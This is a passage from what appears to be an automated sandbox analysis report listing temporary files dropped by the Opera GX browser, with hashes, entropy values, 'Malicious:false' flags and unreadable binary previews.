                                                                                                                                                                                                              Preview:........XexJ0ylFIaLLGZaYOoXYStcncha22dr9BTtKk3KumZ/4=.......>.....E.XL.....[.....T(.9..../6.w.H..;.\A.Y...qv.Z.]..a.7...,.'..u$a.....H.c$1...S.....Ca..6.e."6.........f. X.D;..K._.M.9.`.xt....K.<..Z^X.JVC.Q..$....k.....l../..x5u.....`..e......h....J....H..I.....}.|;:F.hmE.m..p..M.....L%.Rz...Q.>.=Cn....>Q...gS.D..k~7.+A.W.v..H.CY..Cj...?m.O....xo.)y.....U.{6.T........'.Y...!.P....'Il..V;.ze..G(....&....*3[C.T.JG..E,....+.k.tq....R~tN......XUrb..}.....O\.4....d.^V..=Y...d..C.......e....].`.i-..S..M..SAg.E..n...<.....4..i...s<M.+KK5...`!.-c.Q...Gg....![....PQ.Y..l$.d.......H...;=..W.p...{x..N6.....m....>..%$6#..K.=....b..t.K.aM.OH.'s....@...FV^...va..y.Q.v..ehwGI.\]w2V...|.@..(.L9U..MGhK~......F.".7&.<.74C....$.'.-.r..8...b...o...5T.. ...6...b.*......>.B<..a.....>..I..!...>.......ir....>...^I.L"J..6."|i.{...e.m..(....~..i.....o|6...wFqE....[.p60*..C...=.jo.......,D....?aLI....3+|l^No..O..R.C..${.D..j5.l.j.u.L0.h.I.wI...U.E.6w.6=`[..K..-n..:J,..'.8

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\5be5482d-f2f3-4608-b677-41b34d3a86dd.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):10286
                                                                                                                                                                                                              Entropy (8bit):7.983666393033279
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:375C92932DD683A1CEB4820123F0B5B7
                                                                                                                                                                                                              SHA1:EDED037FA42B54FDB1FFC9787E738615A8622185
                                                                                                                                                                                                              SHA-256:E0ECEA7C5C1B3E86A9066691AA6F920C655A076EAC942CA840F2DA91549E2AD5
                                                                                                                                                                                                              SHA-512:1B94008F1D01A835E9063A3BC20329DDFFB9AECB266D8A0605BA1C6A83F83214D88E9BAFA316EA5B30307B5681E066B31D7A532BCF2912DFE71455411738750C
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........Xz1TAh2eSO2EDUqrY46tTXNR6H7DoEzYNjPjk+6eIcNE=.............E....uA[]g/.b....y..w..:...p6w`>.7m8}...9.](o.k.!...OH..kY..w..N.q.............)F......7/.6^....U1Qg..4<.~R/.0&.{.....u.a..C....gU.C.Z`&s..=>.g.F...+.AS..............U.g...5nL...P.......{.M..cW=.......?.k.ez.<I...u.'....k...?.+.l..#.g.y@Y\(+.I..L.)...M.......dj."==.x..5}}....j.{...*...x.E.p.w5.&...?..l..=.$.C...g.D..^....X%....k{Y....b..u.!..T......4...=3.....\~....._c..k,Gc...P..)..8.9~...p.hS.,.t...V.....I.q..-... 6.W..b[6..)c...[.p.q........i....#....0uP.*.b...$t.Q.?.u..,.......X.w#/..T.L.[.....G.U:....v..6.1...J....e..z...w.s....MakrO~........b.:[..m....4..I....&wT4N.`w..T....!..B...` .n...`.L.)_C.P.)..tT$......]qf.....\.L..k...Vk.&.[.ov0......Mz.z.[.}c....MCi.J....2'M..2,../H......C.........2..X..5.<Ink....k...../.s.........>[D|..k.<....../.P...A..\..6.....6.:F....wm.....j..J....9...7....R..x.Xf.!.........9.:......y.D?.[.s...3?D..Ag.TQ..K..;...{....E.-.b><.......K..

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\5c59fa60-5d5e-4216-a058-fe7ee258f21f.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):10286
                                                                                                                                                                                                              Entropy (8bit):7.984868829462109
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:DC2177373A2BB6499BA287E91695AC82
                                                                                                                                                                                                              SHA1:130D5C91D2FF4773D528374865A34C162AB02220
                                                                                                                                                                                                              SHA-256:FCAA19CA1FF9EECF12E70DB2D8428A51CA2129573157A6DA0D3C4FF2AA4B2BD9
                                                                                                                                                                                                              SHA-512:75BDB3833CF4C9D3421F225523788DBC0FD307999202DBC5B947B68A737BF1B1D1AA71E4381F3D14A5CE027C5C33FC1BAFCA3B05324E8BC05F5082552FEA3ABB
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........X3JIdV5riHiOa6RLGUuDheot43mxC67N92AmIN353iI0=.......v*.....>.1'.`..B....w.~ab.....]..Eg'..Z.n9.fK(.{...;.0.Z.X.{..y..O.C....\ih.....^..-.x_..o/..........k=..\.>.<..}..v.n#...w..+b.3{.Z .O..:.}..;.$.vh...;..$..K...dNS_hMz..kF...{._..l.^9.....h9..)......=.`.a.".,%...%nA,f..>|z|%..8.L....oH....w.s...6".b..'f..~6.M.^.9Y...a......5...I...B......W.B..d..Ee@G.+..b.........aT..i..m.d.T#Z9...B...4..g..6...x..(1....<....TxpJ.....JZ`.Z.`...#GR........?.j...-.[.....]...y..2..o4A|....(FO.XUL.........z.......+>.c...U..`.......su.O...E.../s..;K.......o...2#.ts..z....{.cH.......w.{...m..&d...J.,.<....N...7..T...._.u...D.A..j.........]...EFW...r.r]....[=..%...oF.W..[..Bp....)R.ev..A.......@Mv...z.lY..m.<.....$i.......9..z*c......;..Y.HL8...}....A.w.[.9.Qb.;f...]Tc+k..=...ai...../.>.Xu........C...a...4"[.D..s.%..1,I$......G.;@.(.xy.QUC.q.8v].....F.8....C....B._&..x...D..J....`.7.. .5.FZ]Y...m."V.;..y...W.., .u..&.K.*.J..K.0f...a...R..'v..v.nf./.>V.....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\5ce10073-c780-4660-bcbf-e9eb00896390.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):10286
                                                                                                                                                                                                              Entropy (8bit):7.980284552336067
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:788FFC47AECC6312461F716495C7673C
                                                                                                                                                                                                              SHA1:C017C13341538F90016FEA2E97FD6301EB62190D
                                                                                                                                                                                                              SHA-256:9C3C27176219918A48B1D5471B9AA6AEF847A545B9492D0CFC43A7B8E8FE0289
                                                                                                                                                                                                              SHA-512:C599FD5C58E3DC1F9E623DECE8DB01A1CA7445B7D5F3AB42BCDC3AA677351776A9F8240A573548A03BA4B9D157AAF482BE3E7437CFB4933DC816246CFEC67748
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XRgWAVOY2w0J220iar26Iqv2Ngo+XFmWmwE5tHKtiY2I=.......y..._@u.C...\.......(V.3$dK...t.v..x....{X.........$...n.V.(..W..I#2......6/...CibE.R.L~Fe..~. .u....8S..(......3.k..X. zR.2<.v..0l...<..mSyx..5._'...J...).X...3.... .}.d.8.,.Tk...G1..G..oD..$...{.n...R..n....gM....@|...[....kh..N....LO...O_....Tv.......t$Qz..|m.y9.w i".....(.H.V.a.z{#..7.5..5`(.I.VT.X.[....Kn.....u.....e.U...jo.N!...)5.j?......H|Z..]E+0u.H8#.MMpV......C.U..K..I...W....O.Cp.m.3.0...a..f...{0.^aH?zc...p..1..D..{.h.i....U..........4.V.{..C......d............VHJIr.D...}...S.~.am...#...u.......t3|:.Q....3_..3j.....A=D<lj2_M./8...wE.3($2...N.._..Zw..i...Gw.x{..T...V...W.....W.}.oS....../...N..>...5....%D#."O..;c...k.hJyhG|.u...gSP....W.f?.......3..'...9...J..O...I.L.Xi..#bb_[0:....DPht..u...M...]...}........3.w..q..%..D.......6.@......P...O.x....^8....A."Z..k....i......>...H.;(X..h..........M...0..`..?.-..Z....S...:....2._...'...W.8...F.....T.@..*cx....]BR..7M.AR..

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\5d2c719f-07d9-41bc-8944-9cb0fb7a3926.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):8382
                                                                                                                                                                                                              Entropy (8bit):7.980373496877557
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:55D22D4EC8E64041A4BC7D395BE6F713
                                                                                                                                                                                                              SHA1:385C1A353118CAD422E897A86CECED42DAC7DAD3
                                                                                                                                                                                                              SHA-256:92E4442CE4108D034ECF11F8FCA54F21A16F6AE9393F29CD63B2E1472E817359
                                                                                                                                                                                                              SHA-512:64DE16DAE10F5D180E3352234757070559F02E8BEA272A026E3D33A23B5AE3C7122CEB48B3085D40B570E02A169DB7E10B05895197FB0BA66241AB8AB7ADAA6B
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XK2T1EpS/idBbgfNWwsONG3F9vhVT+5NAR7UKhYkQ00g=........9 .>g...?do.5.e.2+....CM..vf.QwM.C-.....4}zua....\M.....\..}....pt.n,uM..X....}a....x.C..dR....>.....x......l.1T.v.s...t...6i..o...1.i.a.'.w&k..G..A..d...,N;K.J....rg....y.....~.n....}..e..V: F...U.....h.]yX.......H......{.N.o.#...........t..........y,N.^Z..U....gD.[IVK_.=k.....p%.b2...d.y.....}j(.0....].~.%Y..._|.b^N.....?.KK.].I.....7.uT...NN...t.A.TD.~!...X..J.;......^w..B..Tm9....2...~...;.'.;._.X|.]..M....D...D.E.f....=x7.!D.8.;...4-..?.a.z%+..WU...'...].an.......[l.=.X^.....C.f.So3......&.Y...,H..rB..3)nt.3........._..e,...=e?.ox.ca........9.[..<G... m..X.Jp....n./.G'........].mS....<b.'...O.>F...(X....H...G..X}......<.WU...S.....?YKp...O....o......u6..f..<G5.:...Q.....K(.PA*S...r!_,.h..W...$'...yd.,.Y~.....q..J.WiV.<...w%....`.....\P>./...w{...:.... .?.....I7.&..h.BT..K.:7...H.Z..A....n..al....T..o..^n..h#.1..*.*o...c.}..Z...P....k..k.k.:j..E...~...GS..r...~.P4.cr1..

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\5f9de699-b2d4-4af7-9f7a-561333b01197.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):8029
                                                                                                                                                                                                              Entropy (8bit):7.978215964454337
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:345783481503D29A3A0B091115FD77DB
                                                                                                                                                                                                              SHA1:DD9C05293CFED5A79BE0A563629B6D8B0ACAE4F6
                                                                                                                                                                                                              SHA-256:9927DF1A3B16FBAF28072845898EDFC3ADB0B89A6A49F5065FFC8CCF08ED7209
                                                                                                                                                                                                              SHA-512:0687FFC714DD9089BDF3B4643426E5EE7EFBCF2BAD905D25F7ECF1BC6CB952A9A6E8CF4839B3CD79578319BA141351D79400FB0223AC40F2B19B195EF2E1045F
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XAPaEEDo6ggY6/XPfjC31dBYrMQXneyajO/lig6+4nXU=.....|0g...V.H..S.2.F+m.o... ...v.6.6.I..............N........_..d#..dbm.-...._.X..}..Y.z..d4@...V.B..._....$..a......$..Z.E...opx.|.P*H..E.-.%..w.f..w2...#Wl(7...x.d..G..).J.....V....L..V.n.t........$.....D....I8.......>..!.....sW5I...N$A..i.ks...6...".(.qj.(]...aHS-......xb.......V...H.._......=4..1!2...I\.......C._<....GM.........1....Z..w.[&t..Q.1.tj6..*....z-.0C*} ..B.Q\.b....Xa...;.D/..k...(../..1"_k"zn...c.c......:. .u9J...:..".}..]/V.q..R.?AJ2.......s....+...WP6.....) ..)z...._.".z.......B..."....l0M.1....<.P....N..)...O*..g...G[...Z...e...b.i1<........5o.,.@J.eL..1.\W.g.a.^...A..M....'.........CK.VX.r......}JS..!]6IcQ.....7..^..Z.&~mB..x.Fr..a..g.7..j0..(.I{..y..Smy...".......i.._...~..U.x,Lf.. ......L.Tg.7.S.....p..<].H6._6F.>8....~.W.T.....?lH./F-.._......z...[...mW`.4..;}.!g.V.d.wpM.........!..6..E.....%1b9...~..X'7:P...Y.A.vj:.......g*.!.4.v!%..K.P.I5.ua3._.Q..[.^.tZ@o/%.b..,.<;..

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\607a92d4-f515-450b-8f0a-08ef60cf53db.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):9422
                                                                                                                                                                                                              Entropy (8bit):7.98159096210152
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:42200D32C291AB7F0DB478F4359384D4
                                                                                                                                                                                                              SHA1:FD74C9376244E928A3AADCBDE83EC6A225B3B534
                                                                                                                                                                                                              SHA-256:1D12C8808D35CE4850816112162AF6C7B56494E9AF9B858EE06EC60BAD9217D8
                                                                                                                                                                                                              SHA-512:E4ADA87B514DBCA860E3415AF02FD92EAEEF493DBD6CA98B37ED9CD3E28FB16082FCCF8392DEDC6F9391ACDBABB32E332747635662F6CE321E34CBB45987A0C2
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XcqEj9dQvilbkMQS43B38Mg/2VV95Lf/Tv7eSNMrB/Lk=........'.{...,.g.S.1O}2.."...v...m.0j`....4.o..8...+....~_/..Eb..:..}r.......W..$*-.a..k..*..../...6>$wxy.....g....OM....m......C.......F.'M..w..6j.?..B..._^.5..T.*Rr.............a.MU...*'..*..=v.!6..J.c....,h......d......:.... l..KiR.....2..z.k.d.y..../T.r&....:...h[.............#a\k..2.e...Q.......v. E......K...N..M...)..\..j..-. ..4....lS...s...CwG.Y3.M...>T.v5M"E8.|.../....tq..k.`...}....P!..tlF..Y..:..[.9.....1!.f..d...N0pA\m..;>..._..5&...]GB..B.7P....t$.%.r9.Wx.c.P.........m.1P...".z)%L'WY......}...}.p.....o.,...............<`<`....y..J.....,.vc.Q....V......bR......U.......i...-.At.......W..6........N..G.a.....}H....$...%.L.........HJ:T.6t7....(.=%..S..Ym.%..j.....Qw.m..-.....+.R.G8.......`.F...Z[..U.z.7L.Hv0...l\e.._0....1.)..;...7.7c^m.Z.i..]H..u..5gIJ.9.!z.e5v....T....pM....vn.3xi..G.y ......}...o...,.6..{...........x..'..{2;PXC...1V..+B.|.Nk8C....m..J.fE.>..W.2.-...

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\63a0b7be-67da-4672-ae48-5e0865fc940e.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1997
                                                                                                                                                                                                              Entropy (8bit):7.904075951144464
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:54AC08B715733280370ED19FD1DE57FF
                                                                                                                                                                                                              SHA1:7615CC1CD7461C34A935A9A7C55E0F7F17B35A32
                                                                                                                                                                                                              SHA-256:0D920551DD5D1DF445B8867374C25D457016C918B91AE8FC339723CF58D0A3B4
                                                                                                                                                                                                              SHA-512:DA8DD552B825E3078D10A3BDFF772F736FE3F542CB2CF50BCACB76235F739CC13D376CDB80903A931795BF3BEACD13220F7BCF417A8560B99ED3655C05E454D4
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XhgvntB03YqRcmr3kL2RHMlyAKwTm4p8nRwp0lKS1NkY=.......LO._8.*.!"..j..2.....!..g.v).S.u..RIl.....|P.u.IW...)S.......6.....3Xg.oFK..l...0..!C.....7z..../?.k...E..D......J..E9v^7y.dG...:.....hvC.._.~e..Pw....L.y.-.39.X{}+......bv|d.{)/8......H..]8.{.4k...7 ..u....@....3u.rg.k.-.$.!Bg"..m..O.......}...h......(z[.3..ND.Qgy.y8._UA....}..|.H. <`.~_R.....G.B......a...R....GZ.D<2y.M;.5Zp8y.6...p....3..l....OZP!.$..j..7...M....Z/.U.. .$+]n.I.*/s..R;.|..|wqr[....nN.)s...7.....5g...I.o...<...4b.@d='...kT_...c..v.+(..U.O.\.. @..c.&6r`.G..W`I...:..F..X...II..i..y...\:{@...W.~.H...P/.Z..Z..3_.z..HSO.G,..Pt.,*V<xr..b..d.Z..$~...+..>..)...z.J..9+....b.X.;..Y.9Z..L.UG.X..jo......``.$by{(..Uo..j.s..S4..e....E9,.L.b..2.I..z....W}..u.C..-{..4'{..'....i,5.....(..e#q. ..|..]..bXt......hjjHp...A.|..PU....>.+.....o.~.....#.g..E_.S.l.,.<....4t.qa`..y...r.k#f..ZX.b.u..........>.....&...?=.(x<...5D;....?.].'....a#.b...K.z3....I.xs*..`.7.{...)...6..>....MC.+.o

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\659fc89c-943f-4e27-8713-f233aa4af51c.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):10286
                                                                                                                                                                                                              Entropy (8bit):7.979953194578914
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:6BAEBA73D6ED46E6FDE575E70F1794E6
                                                                                                                                                                                                              SHA1:4F2F7FBF9FBDDD8DDAB6868947CA144C9BA267BA
                                                                                                                                                                                                              SHA-256:5F69079676B70C37E44B3B4FD7D779171047BB4D2B7EFE4E08175F0A362FCF70
                                                                                                                                                                                                              SHA-512:69A2A0F81D5829615F483C51A48650C5AD163A3FEB3C16994551617846D326B6959D531EAF9021C627222F774F5339E29A77F476A7500429B662D91B40A90336
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XD1HH+6gAhgY9NXEDk9t317uWUISSpH3tX1D7ujLsFL8=.......9.N...1z5}b..s.^.........wZ...>.7..[Y.0..f{QZ..r....J#..X...L.Qbyx...%.t..n........Q...8e>.. ..V.+.$V.Y.*.Cp.i^........zK..zT..7.M.&....!.oP....}~....O.x..0.....rG.D.x.#.m.] ..?HS*pv.!..$.....(....~............u".s...I........ .6..`.[._'X..Y7.:........#.....Q..hl.w._.Z...q.%.AF.P..a...3.V..:ToQQ....,...M.r......qwn....Y.....Oc....X...1..1.K.....eZ.v...8..I....Q.1oFL.4...F..).....(...t[4OM.@..V..@.%..,..=w...Z.(..%...E......,>.M.;]....jO.M].f.8:K..,........v......q.'.0)K.P.~..Q...w.!..d..x.0`.(y..5.).X7..~......\.=.B.Q....,.x^TUZ..w*?f.0B..0...`.U...4zn>....Q...-.=).t.g...@..rr6Sr.1..a.Y...?.\.tT.p.?4.[i.....[@..8.{...]....\.... W."....Rn....X......l.... .P.NOO..$.6..j-R.2....u(.g..;.K.;...|.C..F.;._..^.0C......*r.]!.i}..3.^..bW....b.....k...y. ...l\.........i..N...D..u...........I..M.=uJ...s..p.0...p+.W\;.L.... .....C....H......y......7.y.a.v....@..W....5V+.{.i...2....$....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\66a584ad-01b7-418b-8e57-0e7b281953b4.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):10286
                                                                                                                                                                                                              Entropy (8bit):7.981237884701078
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:D55C9ECF5A2CB0FBFBE1F7BE2CCB40D4
                                                                                                                                                                                                              SHA1:ACD8481A6A6051D2CAC694182EFC4035E43474E4
                                                                                                                                                                                                              SHA-256:52BAD45D500C90BEC98790F95D41B4E5BDBF22F5EB74FC47CEA1E00ACCCEA537
                                                                                                                                                                                                              SHA-512:9BAE6C63DE62A0EBCBE8D64D9490599D7B532BFCE3644AAB5CFA8C567EEA61CD1F5A551ABAA041B354207372A42A0986CDA160366B2DC3CDA2FA515A4E692886
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XHF3wd+EX1XQm42FB2P2MiZzKeRGiZLwoZNzstlepp24=........KN.....$..l....I.ZF....?cB....m......e.s.1.J....T..c.L"........!]..v..|..{p.....q....g.U.Q..A.....^K....<...h_.<......G@J..th.:&.F..RP.}9.2O.....4Rr...u.b...It%...3.l.K....n..}gJ.6.9o.%h...`[.....|.}......O'...t.n....nW..5...{u...4.w.C.g..6,..P3...B.|.u,......_..r.L......&........LX......(.....O#.....`.X.1D4..r..m.\..,..."9t...pH..z...t..Mv......$E.Y.... ......z.S...c..m.h.g..#...ym..{8.....O...AY..kH.F#..,..l7/.`m.w.GS.I'.....pw..U(g..P......q......M0. ..v....zVX1h...'...`|Ux&..^Et.'T../...5>...[okKY.m..h,'..1.#&.0...NF.g...*.U.PY........Xk..Rx........Ie.....<..H|...L...n*+.+%..^.......,...*mx.....e...|u.%..W0L...[g.....hZx.....vt..(.{...c.Z@.*.y!(.Z.%.2.).!C..\t....i..f.?R..R.......5.>E.Y?q..%.U..8\;.Hd..o..b3,..q.K.n....8I......ND..i.'...G.w....G?..7..}Gm4.9.g...v....]0...W.....xbU..!.).0..w.qF..=:......-..x...r.1;..G.......H..0.CNp.....ls.u...)....M..>]..dC5

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\677ca37c-d132-4ea3-9627-6acb4f42bfe4.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):10286
                                                                                                                                                                                                              Entropy (8bit):7.9763257876787135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:D62759C0AAE3D2EC4B4EE8324CD35E9C
                                                                                                                                                                                                              SHA1:018857B6D3FF18C8A3B2BC73FBCCDCA283F12D6D
                                                                                                                                                                                                              SHA-256:8DB8A0490A684A7150310EC14DDF5AEBA94A189BA9F4A91B8B4DE4C10327F850
                                                                                                                                                                                                              SHA-512:77CBA86E26EC56DE9370BEE5D513076224A0E861FC1D699DCBA8C7B450C663EB7F6D14A3B534D0A204AD274543E73084EE3BB8A46C353CBCC72064DEE28431A1
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XU5wTeIvYE9mYvhsZXLIRwEimbSMU0El3ChSuvCk3jRg=.........?..A....c.qv...M6.[.`&).j.H.6...Dx>....5...=.z?........l..%..x;.v;#......./.a.x'..up4M...........-......4.S..B.)........S:.`.3.m.E.......")..)j......Q...hr.._.......<,..rB-..$.........R..Bh..2.p...P.....J.~........dx..3l.%-.#..8...h.-.A}....`W!.Y.N..b.5of....[......NG....p.&-.....]9.v...3......N.g..d.{.....GZ&..tS.=x..p..n....6..\.\.$'.Yy.Z....@......Io..a.z^.......>...e.).......9DR....a.d")....N.1.:c.......R..=.6....i~E.R....G}...o.,..D.:~k...W6.`....?...=q.>..@.9.W:.q.s0j..._./5..\oH!P.........J.jT.j.... ..U>S.9.....<...pJ.3.j.VhL......d..>)B...S........"..W0.5..^U..... ....p...f;m...^..r.....2mI.M.....[#.#L.yus..UU.l.x...WDU.5:...+..ay.'.......5.."u.....+..%.|%6...E..&.}.Eg{.h.U..+.EW#..:q.1B.......f.........Q{X....=Q....`e._..?.?`.u)...C......5..fuM..w.^ ...r..x,XLC...EG.t..$.T...=...n...-.9....U....9.n... .2...1..}....D.%..........*@..2\..s$J...Q..{..0-./+.%.A.H~

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\692d9408-45b9-4930-a9ac-24c7460c7e86.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1293
                                                                                                                                                                                                              Entropy (8bit):7.837027214238532
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:7E75631CCAE59CCFBC907FD1EE211FE7
                                                                                                                                                                                                              SHA1:CE55699B52262597AC0235C17F958DD6FD758BDF
                                                                                                                                                                                                              SHA-256:5B1F0B1975125E341C4A4DCCC4552ADA97D32C8ED2C7AED3B5868A5C98E7CD25
                                                                                                                                                                                                              SHA-512:8FC5DF963BB8F948046C2D261031556CF8A17D56D62E2B9181C365E815CF5A7F779C5291C3A902C5E31A154DB57681BA37BE778AAB97288869C7790758021FF0
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........Xrz4FuWIjz/Drg0MS230unjddh6Z+TweNpdw+CwytcX8=......D..n..L!.Z..@.,..o.V).......b..p....i...yf..k..B..V...J.&<#.Z.....R.Q....E... ....%N.@P.DMK.........#.rY..h&..Uf..>![0u...LT...&.v....H.,.u...|._..i^.f.....4F...n......h.2'|g.{./..)....m..].........Q..{..r|{....:.C:..S.._..gZ.X.......xd~.0.k9.J..-t.$%..y..*t;aj.q.:J.....V..../.=?.........{B.!].u...%..:.s.E...9..._.....W......,..R.....w...c.h.b.r..H!....,...T/...8.y6:....s..t.~H.OT.......l....77.9q...7........t,+.J..lq. 9...tt.:.~wO .4.(t.]Pr...N.G./)..[...'.!..+&...@.......P.z.+.R..j5.QtE.2.'.,.m.\....V..e........h>0.T......v...f...C.@.|).-2.J?...S....:.....q.m.T.s>..Q~..a34....)...@k..A..}.v:..jg..._......`FtK.!.J..y.O.k0...{....M..D..l.;UU2q....#.Y*c}..rs.'...2.F...r.._.K..@).Qj.../...{.H.?.L...$RS.3P...a..=...s....<Vz"F.Y.Y6PaH....B.......r0.:.4..m...<m....;RI.?.....2AI]..A.aU.t..............H..5..D.+S.Q.).)........#.cX.y0]...`.K.xV..#&M.FL4Z.I......>.......K.v....._h:.B...'....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\6ca37d7d-4395-4625-8193-81bad1894fac.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):7437
                                                                                                                                                                                                              Entropy (8bit):7.976748078803545
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:C872E8759D8C1BD6976D8A020722EB0D
                                                                                                                                                                                                              SHA1:71EF98F5D3606AFDB9926007810B6AB67AD74347
                                                                                                                                                                                                              SHA-256:E4B976D902A811783593490FB1D871A5803C795AC63BE1BEEEDE7573B006AE57
                                                                                                                                                                                                              SHA-512:4CB7BED96084EB838A26BC419FE5862323B40FE49BF25CE1C335CC53929ABF54AAB737DEDA70435B1B6FBBC93C8891DAA8C5C9D822142DC14615EF89AFBA661F
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
